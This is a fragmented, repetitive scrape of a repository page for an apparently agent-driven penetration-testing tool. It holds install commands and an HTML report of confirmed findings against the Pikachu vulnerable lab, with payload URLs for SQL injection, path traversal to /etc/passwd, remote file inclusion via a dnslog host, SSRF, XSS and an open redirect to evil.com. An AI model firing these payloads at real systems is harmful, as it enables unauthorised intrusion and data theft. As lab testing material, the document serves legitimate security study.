ok-helloworld/vibe-pentest

Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>

You should have received a copy of the GNU Affero General Public License     along with this program.  If not, see <https://www.gnu.org/licenses/>.

along with this program.  If not, see <https://www.gnu.org/licenses/>.

if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see <https://www.gnu.org/licenses/>.

<https://www.gnu.org/licenses/>.

目标 URL:  `https://example1.com`

`https://example1.com`

`https://example2.com`

目标 URL: https://example.com

视频包含智能体软件安装介绍、多 Agent 并行渗透演示：[氛围渗透（Vibe Pentest）3 分钟使用教程](https://www.bilibili.com/video/BV1RiGX6rESQ/)

请先手工安装 `Git` 工具，方便后续从代码仓库克隆技能、以及自动更新技能。    `Git` 工具官方下载地址：[git-scm.com](https://git-scm.com/)。

`Git` 工具官方下载地址：[git-scm.com](https://git-scm.com/)。

帮我安装 vibe-pentest skill（包括环境运行依赖），仓库地址：https://gitee.com/ok-helloworld/vibe-pentest

git clone https://gitee.com/ok-helloworld/vibe-pentest

pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-docx matplotlib requests urllib3 httpx charset-normalizer chardet playwright PySocks socksio pyyaml mmh3

# Linux/macOS export PLAYWRIGHT_DOWNLOAD_HOST=https://cdn.npmmirror.com/binaries/playwright

export PLAYWRIGHT_DOWNLOAD_HOST=https://cdn.npmmirror.com/binaries/playwright

$env:PLAYWRIGHT_DOWNLOAD_HOST="https://cdn.npmmirror.com/binaries/playwright"

Target URLs:  `https://example1.com`

`https://example1.com`

`https://example2.com`

Target URL: https://example.com

The video includes an introduction to agent software installation and a demo of multi-Agent parallel penetration: [Vibe Pentest 3-Minute Tutorial](https://www.bilibili.com/video/BV1RiGX6rESQ/)

Please install the `Git` tool manually first, so that the skill can be cloned from the code repository and automatically updated later.    Official download address for the `Git` tool: [git-scm.com](https://git-scm.com/).

Official download address for the `Git` tool: [git-scm.com](https://git-scm.com/).

Help me install the vibe-pentest skill (including environment dependencies), repository: https://gitee.com/ok-helloworld/vibe-pentest

git clone https://gitee.com/ok-helloworld/vibe-pentest

pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-docx matplotlib requests urllib3 httpx charset-normalizer chardet playwright PySocks socksio pyyaml mmh3

# Linux/macOS export PLAYWRIGHT_DOWNLOAD_HOST=https://cdn.npmmirror.com/binaries/playwright

export PLAYWRIGHT_DOWNLOAD_HOST=https://cdn.npmmirror.com/binaries/playwright

$env:PLAYWRIGHT_DOWNLOAD_HOST="https://cdn.npmmirror.com/binaries/playwright"

<meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>安全渗透测试报告 · VUL-2026-Q7HPJ</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"></script>

<title>安全渗透测试报告 · VUL-2026-Q7HPJ</title> <script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/chartjs-plugin-datalabels/2.2.0/chartjs-plugin-datal

<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/4.4.1/chart.umd.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/chartjs-plugin-datalabels/2.2.0/chartjs-plugin-datalabels.min.js"></script>

@import url('https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&family=Noto+Sans+SC:wght@300;400;500;700&display=swap');

<div class="header-eyebrow">渗透测试报告</div>         <div class="header-title">Web 应用安全评估（pikachu 漏洞靶场）</div>         <div class="header-subtitle">http://192.168.1.133:8000/ · Php / Apache / Mysql</div>

<div class="header-title">Web 应用安全评估（pikachu 漏洞靶场）</div>         <div class="header-subtitle">http://192.168.1.133:8000/ · Php / Apache / Mysql</div>       </div>

<div class="header-subtitle">http://192.168.1.133:8000/ · Php / Apache / Mysql</div>

</div>   <div class="risk-banner">     <div class="risk-banner-inner">目标 · http://192.168.1.133:8000/ &nbsp;|&nbsp; 技术栈 · Php / Apache / Mysql</div>

<div class="risk-banner">     <div class="risk-banner-inner">目标 · http://192.168.1.133:8000/ &nbsp;|&nbsp; 技术栈 · Php / Apache / Mysql</div>   </div>

<div class="risk-banner-inner">目标 · http://192.168.1.133:8000/ &nbsp;|&nbsp; 技术栈 · Php / Apache / Mysql</div>

<div class="scope-item">       <div class="scope-key">目标 URL</div>       <div class="scope-val">http://192.168.1.133:8000/</div>

<div class="scope-key">目标 URL</div>       <div class="scope-val">http://192.168.1.133:8000/</div>     </div>

<div class="scope-val">http://192.168.1.133:8000/</div>

<td><span style="font-size:12px;color:var(--text-muted)">远程代码执行</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php">h

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php">http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php</div></td>         <td><sp

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php">http://192.168.1.133:8000/vul/unsafeupload/clientcheck.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">远程代码执行</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/servercheck.php">h

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/servercheck.php">http://192.168.1.133:8000/vul/unsafeupload/servercheck.php</div></td>         <td><sp

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/servercheck.php">http://192.168.1.133:8000/vul/unsafeupload/servercheck.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_id.php">http://192.168

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_id.php">http://192.168.1.133:8000/vul/sqli/sqli_id.php</div></td>         <td><span class="row-open-indic

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_id.php">http://192.168.1.133:8000/vul/sqli/sqli_id.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27+or+1

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27+or+1%3D1%23&amp;submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_str.

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27+or+1%3D1%23&amp;submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_str.php?name=1%27+or+1%3D1%23&amp;submit=%E6%9F%A5%E8%AF%A2</di

<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_search.php?name=test%2

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_search.php?name=test%25%27+or+1%3D1%23&amp;submit=%E6%90%9C%E7%B4%A2">http://192.168.1.133:8000/vul/sqli/

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_search.php?name=test%25%27+or+1%3D1%23&amp;submit=%E6%90%9C%E7%B4%A2">http://192.168.1.133:8000/vul/sqli/sqli_search.php?name=test%25%27+or+1%3D1%23&amp;submit=%E6%

<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_x.php?name=1%27)+or+1%

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_x.php?name=1%27)+or+1%3D1%23&amp;submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_x.php

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_x.php?name=1%27)+or+1%3D1%23&amp;submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_x.php?name=1%27)+or+1%3D1%23&amp;submit=%E6%9F%A5%E8%AF%A2</div>

<td><span style="font-size:12px;color:var(--text-muted)">远程代码执行</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_ping.php">http://192.16

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_ping.php">http://192.168.1.133:8000/vul/rce/rce_ping.php</div></td>         <td><span class="row-open-indic

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_ping.php">http://192.168.1.133:8000/vul/rce/rce_ping.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">远程代码执行</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_eval.php">http://192.16

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_eval.php">http://192.168.1.133:8000/vul/rce/rce_eval.php</div></td>         <td><span class="row-open-indic

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/rce/rce_eval.php">http://192.168.1.133:8000/vul/rce/rce_eval.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">访问控制缺陷</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_ed

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_edit.php">http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_edit.php</div></t

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_edit.php">http://192.168.1.133:8000/vul/overpermission/op2/op2_admin_edit.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://19

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://192.168.1.133:8000/vul/burteforce/bf_form.php</div></td>         <td><span class="ro

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://192.168.1.133:8000/vul/burteforce/bf_form.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_server.php">http://

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_server.php">http://192.168.1.133:8000/vul/burteforce/bf_server.php</div></td>         <td><span class

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_server.php">http://192.168.1.133:8000/vul/burteforce/bf_server.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">CSRF</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php">

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php">http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php</div></td>         <

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php">http://192.168.1.133:8000/vul/csrf/csrfget/csrf_get_login.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">CSRF</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php">http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php</div></td>      

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php">http://192.168.1.133:8000/vul/csrf/csrfpost/csrf_post_login.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">CSRF</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.ph

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.php">http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.php</div></td>    

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.php">http://192.168.1.133:8000/vul/csrf/csrftoken/token_get_login.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">文件包含</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd">http://192.168.1.133:8000/vul/fileinclude/fi_local.php?fi

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd">http://192.168.1.133:8000/vul/fileinclude/fi_local.php?filename=../../../../etc/passwd</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">文件包含</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_remote.php?filenam

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_remote.php?filename=http://4h3jg1.dnslog.cn/test.txt">http://192.168.1.133:8000/vul/fileinclude/fi_r

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/fileinclude/fi_remote.php?filename=http://4h3jg1.dnslog.cn/test.txt">http://192.168.1.133:8000/vul/fileinclude/fi_remote.php?filename=http://4h3jg1.dnslog.cn/test.txt</div></

<td><span style="font-size:12px;color:var(--text-muted)">文件包含</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafedownload/execdownload.php?f

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafedownload/execdownload.php?filename=../../../../etc/passwd">http://192.168.1.133:8000/vul/unsafedownload/execd

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafedownload/execdownload.php?filename=../../../../etc/passwd">http://192.168.1.133:8000/vul/unsafedownload/execdownload.php?filename=../../../../etc/passwd</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27">http

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27">http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27</div></td>         <td><span c

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27">http://192.168.1.133:8000/vul/sqli/sqli_del.php?id=60%27</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_b.php?name=vince

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_b.php?name=vince%27+and+1%3D1%23&amp;submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_b.php?name=vince%27+and+1%3D1%23&amp;submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_blind_b.php?name=vince%27+and+1%3D1%23&amp;submit=%E6%

<td><span style="font-size:12px;color:var(--text-muted)">SQL注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_t.php?name=vince

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_t.php?name=vince%27+and+sleep(3)%23&amp;submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sq

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_blind_t.php?name=vince%27+and+sleep(3)%23&amp;submit=%E6%9F%A5%E8%AF%A2">http://192.168.1.133:8000/vul/sqli/sqli_blind_t.php?name=vince%27+and+sleep(3)%23&amp;submi

<td><span style="font-size:12px;color:var(--text-muted)">XSS注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_stored.php">http://192.1

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_stored.php">http://192.168.1.133:8000/vul/xss/xss_stored.php</div></td>         <td><span class="row-open-i

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_stored.php">http://192.168.1.133:8000/vul/xss/xss_stored.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">SSRF</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http://127

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pkxss/index.php">http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http:

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pkxss/index.php">http://192.168.1.133:8000/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pkxss/index.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">SSRF</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http://127

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pkxss/index.php">http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http:

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pkxss/index.php">http://192.168.1.133:8000/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pkxss/index.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">XXE注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xxe/xxe_1.php">http://192.168.1.

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xxe/xxe_1.php">http://192.168.1.133:8000/vul/xxe/xxe_1.php</div></td>         <td><span class="row-open-indicator">

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xxe/xxe_1.php">http://192.168.1.133:8000/vul/xxe/xxe_1.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">反序列化漏洞</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unserilization/unser.php">http:

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unserilization/unser.php">http://192.168.1.133:8000/vul/unserilization/unser.php</div></td>         <td><span class

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unserilization/unser.php">http://192.168.1.133:8000/vul/unserilization/unser.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/.git/HEAD">http://192.168.1.133:8000/

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/.git/HEAD">http://192.168.1.133:8000/.git/HEAD</div></td>         <td><span class="row-open-indicator">›</span></td>

<td><div class="vuln-target" title="http://192.168.1.133:8000/.git/HEAD">http://192.168.1.133:8000/.git/HEAD</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../.

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/passwd">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/passwd">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../etc/passwd</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../.

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../var/www/html/pkxss/pkxss_login.php">http://192.168.1.133:8000/vul/dir/dir_

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../var/www/html/pkxss/pkxss_login.php">http://192.168.1.133:8000/vul/dir/dir_list.php?title=../../../../../../var/www/html/pkxss/pkxss_l

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.168.1.133:8000/vul/infoleak/findabc.php</div></td>         <td><span class="row-op

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.168.1.133:8000/vul/infoleak/findabc.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_client.php">http://

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_client.php">http://192.168.1.133:8000/vul/burteforce/bf_client.php</div></td>         <td><span class

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_client.php">http://192.168.1.133:8000/vul/burteforce/bf_client.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://1

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192.168.1.133:8000/vul/burteforce/bf_token.php</div></td>         <td><span class="

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_token.php">http://192.168.1.133:8000/vul/burteforce/bf_token.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">认证绕过</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_logi

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_login.php">http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_login.php</div><

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_login.php">http://192.168.1.133:8000/vul/sqli/sqli_header/sqli_header_login.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">竞争条件</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://19

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://192.168.1.133:8000/vul/burteforce/bf_form.php</div></td>         <td><span class="ro

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/burteforce/bf_form.php">http://192.168.1.133:8000/vul/burteforce/bf_form.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">业务逻辑漏洞</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/pkxss/pkxss_login.php">http://192.1

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/pkxss/pkxss_login.php">http://192.168.1.133:8000/pkxss/pkxss_login.php</div></td>         <td><span class="row-open-ind

<td><div class="vuln-target" title="http://192.168.1.133:8000/pkxss/pkxss_login.php">http://192.168.1.133:8000/pkxss/pkxss_login.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">文件包含</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php">ht

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php">http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php</div></td>         <td><

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php">http://192.168.1.133:8000/vul/unsafeupload/getimagesize.php</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">XSS注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_reflected_get.php?messag

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27xss_test%27%29%3C%2Fscript%3E&amp;submit=submit">http://19

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27xss_test%27%29%3C%2Fscript%3E&amp;submit=submit">http://192.168.1.133:8000/vul/xss/xss_reflected_get.php?message=%3Cs

<td><span style="font-size:12px;color:var(--text-muted)">XSS注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_01.php?message=%3Cimg+sr

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_01.php?message=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&amp;submit=submit">http://192.168.1.133:8000/vul/xs

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_01.php?message=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&amp;submit=submit">http://192.168.1.133:8000/vul/xss/xss_01.php?message=%3Cimg+src%3Dx+onerror%3Dalert%281%29%

<td><span style="font-size:12px;color:var(--text-muted)">XSS注入</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%281

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%281%29&amp;submit=submit">http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%2

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%281%29&amp;submit=submit">http://192.168.1.133:8000/vul/xss/xss_04.php?message=alert%281%29&amp;submit=submit</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">开放重定向</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com">http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com">http://192.168.1.133:8000/vul/urlredirect/urlredirect.php?url=http://evil.com</div></td>

<td><span style="font-size:12px;color:var(--text-muted)">信息泄露</span></td>         <td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.

<td><span class="conf-badge">confirmed</span></td>         <td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.168.1.133:8000/vul/infoleak/findabc.php</div></td>         <td><span class="row-op

<td><div class="vuln-target" title="http://192.168.1.133:8000/vul/infoleak/findabc.php">http://192.168.1.133:8000/vul/infoleak/findabc.php</div></td>

